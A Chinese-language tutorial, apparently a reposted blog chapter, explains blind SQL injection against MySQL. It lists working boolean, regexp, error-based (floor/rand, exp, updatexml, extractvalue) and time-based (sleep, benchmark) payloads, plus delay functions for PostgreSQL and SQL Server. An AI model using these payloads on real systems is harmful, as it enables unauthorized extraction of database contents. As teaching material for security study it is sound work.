MYSQL注入天書之盲注講解

Background-2 盲注的講解

何爲盲注?盲注就是在sql注入過程當中,sql語句執行的選擇後,選擇的數據不能回顯到前端頁面。此時,咱們須要利用一些方法進行判斷或者嘗試,這個過程稱之爲盲注。從background-1中,咱們能夠知道盲注分爲三類 html

•基於布爾SQL盲注 前端

•基於時間的SQL盲注 mysql

•基於報錯的SQL盲注 正則表達式

Ps:知識點太多了,這裏只能簡單列出來大體講解一下。(ps:每當看到前輩的奇淫技巧的payload時,能想象到我心裏的喜悅麼?我真的想細細的寫寫這一塊,可是不知道該怎麼寫或者小夥伴須要怎麼樣來說這個,能夠m我。) sql

1:基於布爾SQL盲注----------構造邏輯判斷 數據庫

咱們能夠利用邏輯判斷進行 安全

截取字符串相關函數解析http://www.cnblogs.com/lcamry/p/5504374.html(這個仍是要看下) 函數

 

▲left(database(),1)>'s'             //left()函數 性能

Explain:database()顯示數據庫名稱,left(a,b)從左側截取a的前b位 測試

▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+        //substr()函數,ascii()函數

Explain:substr(a,b,c)從b位置開始,截取字符串a的c長度。Ascii()將某個字符轉換爲ascii值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23               //ORD()函數,MID()函數

Explain:mid(a,b,c)從位置b開始,截取a字符串的c位

Ord()函數同ascii(),將字符轉爲ascii值

▲regexp正則注入

正則注入介紹:http://www.cnblogs.com/lcamry/articles/5717442.html

用法介紹:select user() regexp '^[a-z]';

Explain:正則表達式的用法,user()結果爲root,regexp爲匹配root的正則表達式。

第二位能夠用select user() regexp '^ro'來進行。

當正確的時候顯示結果爲1,不正確的時候顯示結果爲0.

示例介紹:

I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

IIselect * from users where id=1 and 1=(user() regexp'^ri');

經過if語句的條件判斷,返回一些條件句,好比if等構造一個判斷。根據返回結果是否等於0或者1進行判斷。

IIIselect * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

這裏利用select構造了一個判斷語句。咱們只須要更換regexp表達式便可

'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE

如何知道匹配結束了?這裏大部分根據通常的命名方式(經驗)就能夠判斷。可是如何你在沒法判斷的狀況下,能夠用table_name regexp '^username$'來進行判斷。^是從開頭進行匹配,$是從結尾開始判斷。更多的語法能夠參考mysql使用手冊進行了解。

好,這裏思考一個問題?table_name有好幾個,咱們只獲得了一個user,如何知道其餘的?

這裏可能會有人認爲使用limit 0,1改成limit 1,1。

可是這種作法是錯誤的,limit做用在前面的select語句中,而不是regexp。那咱們該如何選擇。其實在regexp中咱們是取匹配table_name中的內容,只要table_name中有的內容,咱們用regexp都可以匹配到。所以上述語句不單單能夠選擇user,還能夠匹配其餘項。

▲like匹配注入

和上述的正則相似,mysql在匹配的時候咱們能夠用ike進行匹配。

用法:select user() like 'ro%'

 

2:基於報錯的SQL盲注------構造payload讓信息經過錯誤提示回顯出來

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;  

//explain:此處有三個點,一是須要concat計數,二是floor,取得0 or 1,進行數據的重複,三是group by進行分組,但具體原理解釋不是很通,大體原理爲分組後數據計數時重複形成的錯誤。也有解釋爲mysql 的bug 的問題。可是此處須要將rand(0),rand()須要多試幾回才行。

以上語句能夠簡化成以下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

若是關鍵的表被禁用了,可使用這種形式

 select count(*) from (select 1 union select null union 

select !1) group by concat(version(),floor(rand(0)*2)) 

若是rand被禁用了可使用用戶變量來報錯

 select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

 

▲select exp(~(select * FROM(SELECT USER())a))         //double數值類型超出範圍

  //Exp()爲以e爲底的對數函數;版本在5.5.5及其以上

能夠參考exp報錯文章:http://www.cnblogs.com/lcamry/articles/5509124.html

▲select !(select * from (select user())x) -(ps:這是減號) ~0  

 //bigint超出範圍;~0是對0逐位取反,很大的版本在5.5.5及其以上

能夠參考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

▲extractvalue(1,concat(0x7e,(select @@version),0x7e))  se//mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)   //mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤

▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql重複特性,此處重複了version,因此報錯。

3:基於時間的SQL盲注----------延時注入

▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  //if判斷語句,條件爲假,執行sleep

Ps:遇到如下這種利用sleep()延時注入語句
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
該語句意思是在0-9之間找版本號的第一位。可是在咱們實際滲透過程當中,這種用法是不可取的,由於時間會有網速等其餘因素的影響,因此會影響結果的判斷。 

 

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;

   //BENCHMARK(count,expr)用於測試函數的性能,參數一爲次數,二爲要執行的表達式。可讓函數執行若干次,返回結果比平時要長,經過時間長短的變化,判斷語句是否執行成功。這是一種邊信道攻擊,在運行過程當中佔用大量的cpu資源。推薦使用sleep()

函數進行注入。

此處配置一張《白帽子講安全》圖片

Mysql

BENCHMARK(100000,MD5(1))  or sleep(5)

Postgresql

PG_SLEEP(5)   OR GENERATE_SERIES(1,10000)

Ms sql server

WAITFOR DELAY '0:0:5'

相關文章
相關標籤/搜索